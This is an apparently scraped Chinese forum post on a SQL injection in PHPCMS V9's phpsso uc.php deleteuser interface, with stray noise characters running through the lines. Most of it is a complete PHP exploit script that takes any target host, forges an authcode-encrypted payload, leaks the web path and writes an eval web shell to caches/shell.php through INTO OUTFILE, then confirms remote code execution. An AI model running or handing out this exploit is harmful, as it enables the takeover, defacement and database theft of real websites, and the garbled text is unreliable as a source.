PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
) ?( h& S; D! G
6 ]6 |# E5 v6 o* o所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。$ Q: _9 p' L! h- f2 X
0 c, h& @5 C$ F2 `) g漏洞分析:
- k& y$ m/ J9 R1.未启用ucenter服务的情况下uc_key为空3 S1 i7 o! }9 m; c. e. h
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
2 r* N* ~2 M6 U {1 E' p) ?2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。; B6 C# r6 ?* r0 d# v
public function deleteuser($get,$post) {
/ f5 V# n+ a" h# q pc_base::load_app_func('global', 'admin');
& z: [2 G; m9 E- q% D# |3 f; R pc_base::load_app_class('messagequeue', 'admin' , 0);
# c/ A& Z+ P' \ ] $ids = new_stripslashes($get['ids']);
* [6 b8 l5 l$ d/ V$ S $s = $this->member_db->select("ucuserid in ($ids)", "uid");1 d' |4 T% O9 r @2 r; ?0 J
SQL语句为
, V4 o7 Q$ k4 N4 M3 D( J- JSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)* V! B, R, q* e8 c. n* e
V" F8 f9 P# w6 H5 s
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, f, z% O: `9 i) c
<?php: k% _ T& I. R( G$ T
print_r('% W! U' P1 o }
---------------------------------------------------------------------------9 h7 U+ q: F1 h% U8 A5 i
PHPcms (v9 or Old Version) uc api sql injection 0day1 f# \( a9 Z: r$ z
by rayh4c#80sec.com# N1 b3 O2 H# |
---------------------------------------------------------------------------
( n! H; }" R9 L7 v, \$ g2 p' G7 }');3 b; Y0 C0 M' J( T9 m6 S) ~, F8 c
3 `3 t0 E! j& J$ Q$ }if ($argc<3) {
P5 {5 p) N' L/ B" r: i5 z' |8 U print_r('
/ ^% V$ T/ w) Q6 @---------------------------------------------------------------------------
0 p" W3 i; z2 \Usage: php '.$argv[0].' host path OPTIONS
# E9 V x b; v+ Mhost: target server (ip/hostname)! u q; P- V2 h! A
path: path to phpcms
# h) ?; w& } K) L' p% BOptions:
) J- Q& F5 z( t4 v$ A* _ -p[port]: specify a port other than 80
1 n/ ~5 x. i( k7 {! @- d -P[ip:port]: specify a proxy- r. i) J& H+ [ f( n' l
Example:
) k% W' M5 b$ W0 Xphp '.$argv[0].' localhost /
) `! H- ` x, F3 m3 ^php '.$argv[0].' localhost /phpcms/ -p817 ]) q+ y) u* W! N, I& @
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
# X8 }8 ~; o3 S8 Q, d: A% W2 q8 j---------------------------------------------------------------------------5 t6 R- H0 {# a2 R
');
. a) M% ], v( w" h die;6 G* L1 ~1 s) l8 \9 {! w
}
& @$ w* j5 k7 m: S4 @8 {4 z1 E2 z$ r- C. g7 S2 B* t& S3 \
error_reporting(7);: V7 X0 S9 N9 H' l1 Y0 F
ini_set("max_execution_time",0);
9 c" k4 w8 W9 b+ Y6 _+ |8 T% L `ini_set("default_socket_timeout",5);
1 i& x8 m& }$ U }# z" P; Y0 d4 B. Z
7 d0 y4 Q7 U+ l$ ~; I: qfunction quick_dump($string)
5 u# L9 K# I, q, N, _/ |2 a{
+ |7 \. f( L% t3 I/ t! j/ A5 C $result='';$exa='';$cont=0;
, M$ Y* H. R* v3 n7 r I for ($i=0; $i<=strlen($string)-1; $i++)
/ R5 |' g) Q% o {' h! l5 C1 a7 K* Y5 c6 Y+ m7 ]
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))1 l8 f: ?* j" }4 o1 K
{$result.=" .";}
2 A D+ {- l# T else
0 e8 n# t! e! N! b {$result.=" ".$string[$i];}
: L# o' C8 O' W( |1 Q3 e& m* p if (strlen(dechex(ord($string[$i])))==2): ~; S. _2 b+ {6 F3 U5 J8 n `! v9 e
{$exa.=" ".dechex(ord($string[$i]));}" h8 I; H2 i. @0 K* Q8 V% J# u
else
6 N7 L' |- e: T+ n! X {$exa.=" 0".dechex(ord($string[$i]));}- O0 `0 X1 G& i' N+ ?! E" G% \7 t
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
7 s% ]$ f2 j" d3 k3 n& I }
( `8 H# o( q8 m return $exa."\r\n".$result;
1 U; a7 @5 a: y. M}
" Z1 W; a) C$ j7 T! d. g$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';5 w( w8 D( z; \- N! Z
6 ^) f% i/ _- T' e0 Bfunction send($packet)
- z; M' N; v$ `' i" W9 R7 _{3 k0 ~2 }/ B2 M% o
global $proxy, $host, $port, $html, $proxy_regex;
3 p: o$ K8 t& \7 B6 B; L if ($proxy=='') {2 h! ]. M7 f: Z, I! h" Z! F! O4 h
$ock=fsockopen(gethostbyname($host),$port);6 V$ W4 R! O2 u
if (!$ock) {" |$ U* c% D% E% c$ w/ W
echo 'No response from '.$host.':'.$port; die;
7 {- r: d# y. _5 _ }$ P- ^* X; g3 E+ }5 X- U' W ?
}
8 Y( \5 W P$ q+ y U; \ else {
/ R( ?, U% O J5 {) I $c = preg_match($proxy_regex,$proxy);
! G6 p) T: L: d7 ?4 ` if (!$c) {
" S) @- x/ f3 [0 U8 I2 r! m- A echo 'Not a valid proxy...';die;
* a2 V# f4 c1 x* q" h6 q8 v- ` }4 A* u/ N) v% j; n
$parts=explode(':',$proxy);
. F" a+ k0 X$ z, K# `" V $parts[1]=(int)$parts[1];
2 `: ?9 q) m* f4 @ echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
6 u6 \6 _ P8 X $ock=fsockopen($parts[0],$parts[1]);" G" c, G2 F$ T
if (!$ock) {
( L7 z& F. ]* n3 y4 v+ Y echo 'No response from proxy...';die;* x2 i6 `( m H
}
3 R! J/ b2 C3 H! i: @1 ? }6 ]6 h4 h+ U8 S( W9 v! j# b0 {
fputs($ock,$packet);+ ^- q8 b2 B8 a0 [: ]
if ($proxy=='') {6 M, A: C! g! ?9 c& r& U! {2 t6 ?
$html='';! g1 J! p8 [2 Z( l
while (!feof($ock)) {
, r5 A/ M+ R9 W' k( q/ c+ G" ^ $html.=fgets($ock);0 l7 G' [7 x, ~, d1 C/ G
}
. Q5 h9 z( I3 @4 l0 F }0 _2 m* |4 U/ E
else {/ O# O0 ^8 y' P- B5 X
$html='';$ g# C9 o( U. u) z/ y
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
4 `$ X( V0 [6 X1 K; N1 h2 r5 i $html.=fread($ock,1);- j T2 L( j2 n+ |& [6 F9 s
}! ~4 }. M0 l L; \
}
" h% `/ D+ p7 n+ u' }6 w7 @) k fclose($ock);
/ B# h5 e" B* H6 Y5 E}
3 A+ Z: e9 y4 U+ O0 r |9 {
$ X" ?# P& X/ v O0 K$host=$argv[1];
1 d, n1 z) I5 B/ x" V: }) `$path=$argv[2];2 l% C( W, ~$ n, x
$port=80;- o- K' k& h/ E7 B' S
$proxy="";
! n: z% d% i4 W* Kfor ($i=3; $i<$argc; $i++){' V% f% u, M- t. T1 E K" n9 E% }
$temp=$argv[$i][0].$argv[$i][1];
( ]+ x8 j) D8 h9 F U lif ($temp=="-p")
5 U X' n4 }! o: _+ O# c{
+ s; R' \7 M a0 i $port=(int)str_replace("-p","",$argv[$i]);
% m' o8 E; `* o1 u: s# P! m}
$ i% F1 @: n) I' Vif ($temp=="-P")$ Y. V" h# z" Y, }7 R% ^
{: k ?9 P. y( [
$proxy=str_replace("-P","",$argv[$i]);# @! i# x% C* L2 T
}. a l! J) I6 z+ z6 @
}
3 v0 c( ^$ O% X, c" q6 b4 m6 x3 G
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
B; z/ s7 e( W. C' l- B4 dif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
" _6 u8 S; G/ S! q1 F P0 k" ~0 Q) w% e2 b. D* K; \
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {0 {. p$ s$ ]. ?+ ?
W9 I# G" l: v5 t( a $ckey_length = 4;3 j- d: @1 I3 x+ i
" R2 ~- j# y: B6 i, A: N5 C' T. v $key = md5($key ? $key : '');5 r+ q( A- R4 u! H: Y& H/ F9 o
$keya = md5(substr($key, 0, 16));
" Z9 K( ?, p" l, q $keyb = md5(substr($key, 16, 16));
P+ M& Q6 i) t. x8 v( s' f $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
# r$ m. }/ r1 s. I9 k6 {8 y( A- d& }( }' \% X B
$cryptkey = $keya.md5($keya.$keyc);4 m. w8 A' L: O. R4 D. p8 z+ |* Z
$key_length = strlen($cryptkey);
" t6 s+ ^- j; T) k
" q P( m+ r3 A- y $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;8 O0 R. U9 G% l1 y, F3 J# K
$string_length = strlen($string);
, W/ Q/ B% m% j4 [7 ^3 w4 c- ~5 Z2 Y' M/ |, P+ j4 i
$result = '';
/ F f5 g3 I: j) \* Q' h# B! L) s: q $box = range(0, 255);
, J" n# A& e, I3 }! R8 z( M7 ~4 `
* v/ S! M/ } C $rndkey = array();
* R9 Q2 q& U* u# k; ?' g for($i = 0; $i <= 255; $i++) {
9 |* R p" }8 j3 h" ~ $rndkey[$i] = ord($cryptkey[$i % $key_length]);& P. S% r2 b$ G/ I5 Z! }( P7 }1 f
}
5 P% X( N9 i$ k# `! r
+ o- A. D4 N: s for($j = $i = 0; $i < 256; $i++) {
1 g3 M0 |3 u' g p) A) o $j = ($j + $box[$i] + $rndkey[$i]) % 256;
# Q* m2 A9 D/ L $tmp = $box[$i];1 T3 `& Z! ^- }3 P" H T
$box[$i] = $box[$j];7 q( f1 S7 `9 z
$box[$j] = $tmp;( p* b/ F$ e# s: S
}7 b) i; j; c' H7 k
% [8 v# R* M& y+ ?5 A$ B for($a = $j = $i = 0; $i < $string_length; $i++) {" Z. G2 o0 n. c" q# O( W+ \/ N
$a = ($a + 1) % 256;
. D2 ? {0 l/ K4 M) u4 W- w" u $j = ($j + $box[$a]) % 256;
2 Q8 Z0 V/ O9 k# V $tmp = $box[$a];
1 A) J$ d7 }$ s0 j" ?2 {, } $box[$a] = $box[$j];
$ D. C# o* ]' h% _* a $box[$j] = $tmp;
; f0 F( |7 U$ `, l& f V $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
B$ }0 [& c2 M6 u) _( g }2 j ]9 E* p, j( t1 Z9 k% R
! ~" f* n2 b# g% B+ q9 M4 i) L% F
if($operation == 'DECODE') {8 M2 Z( y# }/ q6 V
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {: m& h: D( b& b% v
return substr($result, 26);6 X3 m) w9 G, m0 e
} else {4 M1 w" Z# n* x) R6 X
return '';+ X. H: H% T& T/ v) i( b
}$ U: m4 G) l3 \8 |: L- L; @0 a1 x. d
} else {. m- D" F. h0 D% s4 r
return $keyc.str_replace('=', '', base64_encode($result));
5 |+ K1 ?3 A1 `! m1 x- x1 x }' s! w0 E! ~% S8 h8 u0 _8 C/ m
# e C0 B1 r3 W4 J; X}9 z& Q0 `' h! |0 Z/ m
& } C( s3 V4 x8 D0 m9 @$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
. C6 s( ?# X2 r. Z' s$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 c: t( |6 F. f u' R) G1 }$ [echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
& S# U# ?( y. ^; M8 Y$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
9 i2 }9 i& {. E, C% I: t$packet.="User-Agent: Mozilla/5.0\r\n";/ \7 K/ C# p t0 V7 \7 y$ {
$packet.="Host: ".$host."\r\n";
7 t4 B& e4 S: }* P; Z$packet.="Connection: Close\r\n\r\n";; T. f3 p) }" _6 a- a! Z6 z. L
send($packet);
1 A# u* O2 a. p6 n1 P$ E$ Dif(strpos($html,"MySQL Errno") > 0){4 O D5 E6 w* l5 h2 a @4 W
echo "[2] 发现存在SQL注入漏洞"."\n";
* W. e. M, h; u. m* z5 C. m. E" ^echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
. t @* E R* r$ S7 l$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
1 O) }- k% Z* P2 F$ A/ r' y$packet.="User-Agent: Mozilla/5.0\r\n";
/ L: v, d! A8 N8 |& Y% z$packet.="Host: ".$host."\r\n";( W/ V' f' M& m: A y' r
$packet.="Connection: Close\r\n\r\n";
7 f1 u2 z- s4 b: l: hsend($packet);
: S0 h5 i# F$ G" K4 hpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);5 v. \) A [( |4 a' L
//print_r($matches);0 z5 W2 O8 g% M5 n8 u9 X- {
if(!empty($matches)){
" ~; E# L% h# n1 y! [* Mecho "[4] 得到web路径 " . $matches[0]."\n";
o5 v( T" m( becho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";8 _' `+ U$ r# e; f
$SQL = "time=999999999999999999999999&ids=1)";
* U6 c, f9 K) i9 W5 V& o/ }$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
$ u( z" {* y' V$SQL.="&action=deleteuser";
3 F. A' r L/ ?% y$SQL = urlencode(authcode($SQL, "ENCODE", ""));6 F2 Y/ I1 x, o+ p
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";! Q1 ^( {7 `5 V4 Q' _8 K: J
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
( M. \# b- K. |$packet.="User-Agent: Mozilla/5.0\r\n";0 H$ N4 T9 y0 v
$packet.="Host: ".$host."\r\n";9 v$ c7 m A8 O$ T9 H5 O+ o
$packet.="Connection: Close\r\n\r\n";. T# ?# q; s7 a+ Q0 O
send($packet);
# e2 Y* C6 J2 R5 R5 Uif(strpos($html,"Access denied") > 0){
. h8 Z; c) H. `echo "[-] MYSQL权限过低 禁止写入文件 ";( }/ ~( [6 A' C' v. x. H
die;
) E) f. N5 p. ^! ~- T% r6 \! M}/ {+ {( g, n! E3 t9 A& a+ h+ \
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";5 T/ F# f1 O4 o/ I! t
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";5 j0 `" G& U. O( X- n! }: R
$packet.="User-Agent: Mozilla/5.0\r\n";
# y3 q, D0 k, E; N$packet.="Host: ".$host."\r\n";/ q% h) u% `" \
$packet.="Connection: Close\r\n\r\n";
6 C0 v: g B2 d2 U- i. E w/ rsend($packet);
0 ]; k4 C- T& G( p. F0 a1 wif(strpos($html,"<title>phpinfo()</title>") > 0){
1 f$ j" q2 t1 E9 Q- Secho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";+ z7 Z. D8 ^ Y. F2 A( c. ~
}* \/ ]8 N& m, x# q/ i3 B( p
}else{
% }; u0 W X- j$ }( Z# f z4 Hecho "[-]未取到web路径 ";
2 d4 l2 k) J1 f) w3 T! L}8 {3 y+ {& Q/ R2 L; ~5 l
}else{! T4 |+ d8 x( u, k T' ?- i
echo "[*]不存在SQL注入漏洞"."\n";# N0 L% w, c! b7 o2 w Z1 A
}+ |$ Q$ Z: n- m# K" y
# |* P' F- y" m1 T, H
?>
* Q5 |1 S$ r u |